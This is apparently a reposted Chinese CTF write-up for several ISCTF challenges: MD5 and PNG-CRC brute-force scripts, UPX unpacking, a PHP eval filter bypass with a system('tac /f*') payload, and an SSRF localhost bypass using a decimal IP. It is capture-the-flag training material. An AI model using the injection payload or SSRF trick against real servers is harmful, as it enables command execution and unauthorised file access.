CTF刷題記錄

刷題

  • 我的md5臟了
  • KFC瘋狂星期四
  • 坤坤的csgo邀請
  • simplePHP
  • curl

我的md5臟了

g0at無意間發現了被打亂的flag:I{i?8Sms??Cd_1?T51??F_1?}
但是好像缺了不少東西,flag的md5值已經通過py交易得到了:88875458bdd87af5dd2e3c750e534741

flag的MD5值,寫了好久的沒有加ISCTF{},有些迷茫,多次嘗試出來了

# 生成MD5值
import hashlibs = '1234567890'
# ps = [i for i in range(len(s))]
with open('md5.txt', 'w') as f:print('正在寫入。。。')for i in range(len(s)):for j in range(len(s)):for k in range(len(s)):for l in range(len(s)):for r in range(len(s)):for m in range(len(s)):for n in range(len(s)):md5 = hashlib.md5(('ISCTF{md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[n]+'}').encode()).hexdigest() + '\n'f.write(md5)print('寫入完成。')# 尋找MD5數
import hashlibs = '1234567890'
# ps = [i for i in range(len(s))]
with open('md6.txt', 'w') as f:print('正在寫入。。。')for i in range(len(s)):for j in range(len(s)):for k in range(len(s)):for l in range(len(s)):for r in range(len(s)):for m in range(len(s)):for n in range(len(s)):md5 = 'md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[n] + '\n'f.write(md5)print('寫入完成。')

KFC瘋狂星期四

圖片根據CRC校驗可計算出原圖片的寬高

import zlib
import struct
import argparse
import itertoolsparser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,help="輸入同級目錄下圖片的名稱")
args  = parser.parse_args()bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 計算crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crcif crc32key == original_crc32: # 計算crc對比原始crcprint('寬高沒有問題!')
else:input_ = input("寬高被改了, 是否CRC爆破寬高? (Y/n):")if input_ not in ["Y", "y", ""]:exit()else: for i, j in itertools.product(range(4095), range(4095)): # 理論上0x FF FF FF FF,但考慮到屏幕實際/cpu,0x 0F FF就差不多了,也就是4095寬度和高度data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]crc32 = zlib.crc32(data)if(crc32 == original_crc32): # 計算當圖片大小為i:j時的CRC校驗值,與圖片中的CRC比較,當相同,則圖片大小已經確定print(f"\nCRC32: {hex(original_crc32)}")print(f"寬度: {i}, hex: {hex(i)}")print(f"高度: {j}, hex: {hex(j)}")exit(0)

坤坤的csgo邀請

  1. upx 脫殼
    tap1
    tap2
    010 edit vmp為 UPX,使用upx工具進行脫殼使用win工具upx -d +"文件路徑"進行脫殼
  2. 程序分析
    tap3
    tap4
    拖入IDA查找字符串如下
    flag1
    追蹤得到flag
    flag2

simplePHP

<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}if(preg_match($pattern,$str,$arr))
{echo "good try!";$num=$_GET['num'];if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){echo "come on!!!";		// trim:不指定參數時,移除字符串兩側的空格if($num=='36'&isset($_GET['cmd'])){eval($_GET['cmd']);}else{echo "hacker!!";}}else{echo "hacker!!!";}
}

看到一個eval()可以執行代碼,進入這里首要要滿足,num通過is_numeric的檢測,并且不等于36,去空后依然不等于36,經過過濾方法后依然等于36。

//	1.php
<?php
for($i = 0; $i<129; $i++){$num=chr($i).'36';if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){echo urlencode(chr($i))."\n";}
};

http://localhost/1.php

結果:%0C %2B - . 0 1 2 3 4 5 6 7 8 9

%0c其實就是+號的url編碼
Payload:?str=\\\\\\\\/Ilikeisctf&num=%0c36&cmd=system('tac /f*');

curl

描述:都告訴你curl了,剩下的就別問了
tap1
點擊this出現如下:
tap2
返回去查看源代碼,在注釋里有一段代碼。

tap3
先嘗試?urls=http://127.0.0.1/flag.php發現被過濾了,localhost也不行。
嘗試把127.0.0.1轉化為其他進制

  • 2130706433 10進制 http://2130706433
  • 017700000001 8進制 http://017700000001
  • 7F000001 16進制 http://0x7F000001

嘗試10進制可以,?urls=http://2130706433/flag.php得到flag

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/207084.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/207084.shtml
英文地址,請注明出處:http://en.pswp.cn/news/207084.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于微信/支付寶等平臺驗簽/簽名sign生成算法

引言 我們在日常工作中經常會遇到對接微信平臺、支付寶平臺、或者自己對外開放一個api服務&#xff0c;那么這里經常會出現一個名字&#xff1a;sgin&#xff08;簽名&#xff09;。 舉個栗子 這是微信支付統一下單接口文檔&#xff0c;最簡單的理解就是&#xff0c;服務端為…

Unirest-Java:Java發起GET、POST、PUT、DELETE、文件上傳,文件下載工具類介紹

一、簡介 Unirest-Java是一個輕量級的HTTP客戶端庫&#xff0c;用于在Java應用程序中發送HTTP請求。 它提供了簡單易用的API&#xff0c;可以方便地處理GET、POST、PUT、DELETE等HTTP方法。 Unirest-Java支持異步和同步請求&#xff0c;可以輕松地與JSON、XML等數據格式進行…

最優化方法復習——線性規劃之對偶問題

一、線性規劃對偶問題定義 原問題&#xff1a; 對偶問題&#xff1a; &#xff08;1&#xff09;若一個模型為目標求 “極大”&#xff0c;約束為“小于等于” 的不等式&#xff0c;則它的對偶模型為目標求“極小”&#xff0c;約束是“大于等于”的不等式。即“Max&#xff0…

2024年甘肅省職業院校技能大賽信息安全管理與評估三階段理論樣題一

2024年甘肅省職業院校技能大賽高職學生組電子與信息大類信息安全管理與評估賽項樣題一 第六部分 理論技能與職業素養&#xff08;100 分&#xff09; 【注意事項】 1.該部分答題時長包含在第三階段競賽時長內&#xff0c;請在臨近競賽結束前提交。 2.參賽團隊可根據自身情況…

數據庫系統概論復習資料

數據庫系統概論考試需知 一、分值分布 1、判斷題&#xff08;10分&#xff09; 1分一個 2、填空題&#xff08;20分&#xff09; 2分一個 3、選擇題&#xff08;20分&#xff09; 2分一個 4、分析題&#xff08;30分&#xff09; 第一題10分&#xff0c;第二題…

如何設置echart圖表在vue頁面屏幕比例縮放自適應問題

問題&#xff1a;頁面的echart圖表在瀏覽器縮放屏幕比例時無法隨著屏幕的比例自動改變大小 解決方式&#xff1a; 可以通過監聽窗口的 resize 事件&#xff0c;并在事件回調函數中重新調整圖表的大小。 <template><div ref"chartContainer" style"w…

Enterprise Architect 12版本使用教程

Enterprise Architect 12版本使用教程 1.下載安裝Enterprise Architect 122.Enterprise Architect原始DDL模板配置及存在的問題1.DDL Column Definition原始模板&#xff08;沒有default值&#xff1a;可忽略&#xff09;2.DDL Data Type原始模板&#xff08;timestamp等時間字…

Apollo新版本Beta自動駕駛技術沙龍參會體驗有感—百度自動駕駛開源框架

在繁忙的都市生活中&#xff0c;我們時常對未來的科技發展充滿了好奇和期待。而近日&#xff0c;我有幸參加了一場引領科技潮流的線下技術沙龍&#xff0c;主題便是探索自動駕駛的魅力——一個讓我們身臨其境感受創新、了解技術巨擘的機會。 在12月2日我有幸參加了Apollo新版本…

智能優化算法應用:基于沙貓群算法無線傳感器網絡(WSN)覆蓋優化 - 附代碼

智能優化算法應用&#xff1a;基于沙貓群算法無線傳感器網絡(WSN)覆蓋優化 - 附代碼 文章目錄 智能優化算法應用&#xff1a;基于沙貓群算法無線傳感器網絡(WSN)覆蓋優化 - 附代碼1.無線傳感網絡節點模型2.覆蓋數學模型及分析3.沙貓群算法4.實驗參數設定5.算法結果6.參考文獻7.…

kotlin協程反編譯java學習原理

前情提要 GlobalScope.launch(Dispatchers.Main) { // 默認是Default異步 // 1.從當前協程體作用域Dispatchers.Main 協程依附的線程 到 掛起點 掛起函數 到 執行 請求耗時操作 而 切換到 IO異步線程 // 2.IO異步線程執行完成后&#xff0c;開始恢復&#xff0c;當前作…

modbus轉profinet網關解決plc插槽號不夠用的情況

PLC作為常用的控制設備之一&#xff0c;其插槽號有時會限制外部設備的連接數量。然而&#xff0c;通過使用modbus轉profinet網關&#xff0c;可以解決這一問題。這種設備能夠將modbus協議轉換為profinet協議&#xff0c;實現PLC與更多外部設備的連接。 modbus轉profinet網關還具…

游戲盾的防御原理以及為什么程序類型更適合接入游戲盾。

游戲盾是一種專門用于游戲服務器的安全防護服務&#xff0c;旨在抵御各種網絡攻擊。它的原理主要包括以下幾個方面&#xff1a; 流量清洗和過濾&#xff1a;游戲盾會對進入游戲服務器的流量進行實時監測、分析和過濾。它通過識別惡意流量和攻擊流量&#xff0c;過濾掉其中的攻擊…

瀏覽器渲染頁面的過程以及原理

什么是瀏覽器渲染 簡單來說&#xff0c;就是將HTML字符串 —> 像素信息 渲染時間點 瀏覽器什么時候開始渲染&#xff1f; 網絡線程發送請求&#xff0c;取回HTML封裝為渲染任務并將其傳遞給渲染主線程的消息隊列。 問題&#xff1a;只取回HTML嗎&#xff1f;那CSS和JS呢&am…

面試經典150題(1-2)

leetcode 150道題 計劃花兩個月時候刷完&#xff0c;今天完成了兩道(1-2)150&#xff1a; &#xff08;88. 合并兩個有序數組&#xff09;題目描述&#xff1a; 給你兩個按 非遞減順序 排列的整數數組 nums1 和 nums2&#xff0c;另有兩個整數 m 和 n &#xff0c;分別表示 n…

元宇宙vr黨建云上實景展館擴大黨的影響力

隨著科技的飛速發展&#xff0c;VR虛擬現實技術已經逐漸融入我們的日常生活&#xff0c;尤其在黨建領域&#xff0c;VR數字黨建展館更是成為引領紅色教育新風尚的重要載體。今天&#xff0c;就讓我們一起探討VR數字黨建展館如何提供沉浸式體驗&#xff0c;助力黨建工作創新升級…

十年OpenCV開發以后發布的作品 - OpenCV實驗大師

OpenCV介紹 OpenCV是知名的計算機視覺框架&#xff0c;支持數十個不同的視覺處理模塊&#xff0c;提供了超過2000多個傳統算法&#xff0c;其核心功能支持圖像處理、圖像分析、特征提取、對象檢測、深度學習模型推理等。當前支持C、Python、JS、C#等多種語言SDK&#xff0c;支…

智能優化算法應用:基于袋獾算法無線傳感器網絡(WSN)覆蓋優化 - 附代碼

智能優化算法應用&#xff1a;基于袋獾算法無線傳感器網絡(WSN)覆蓋優化 - 附代碼 文章目錄 智能優化算法應用&#xff1a;基于袋獾算法無線傳感器網絡(WSN)覆蓋優化 - 附代碼1.無線傳感網絡節點模型2.覆蓋數學模型及分析3.袋獾算法4.實驗參數設定5.算法結果6.參考文獻7.MATLAB…

雷達點云數據.pcd格式轉.bin格式

雷達點云數據.pcd格式轉.bin格式 注意&#xff0c;方法1原則上可行&#xff0c;但是本人沒整好pypcd的環境 方法2是絕對可以的。 方法1 1 源碼如下&#xff1a; def pcb2bin1(): # save as bin formatimport os# import pypcdfrom pypcd import pypcdimport numpy as np…

python pandas dataframe常用數據處理總結

最近一直在做數據處理相關的工作&#xff0c;有幾點經常遇到的情況總結如下&#xff1a; 數據中存在為空數據如何處理 處理方式1&#xff1a;丟棄數據行 # 實現方式1 data data.dropna(subset[id]) # 若id列中某行數值為空&#xff0c;丟棄整行數據 # 實現方式2 data df[df…

Ant Design Vue 年選擇器

文章目錄 參考文檔效果展示實現過程 參考文檔 提示&#xff1a;這里可以添加本文要記錄的大概內容&#xff1a; DatePicker 日期選擇框 大佬&#xff1a;搬磚小匠&#xff08;Ant Design vue 只選擇年&#xff09; 提示&#xff1a;以下是本篇文章正文內容&#xff0c;下面案…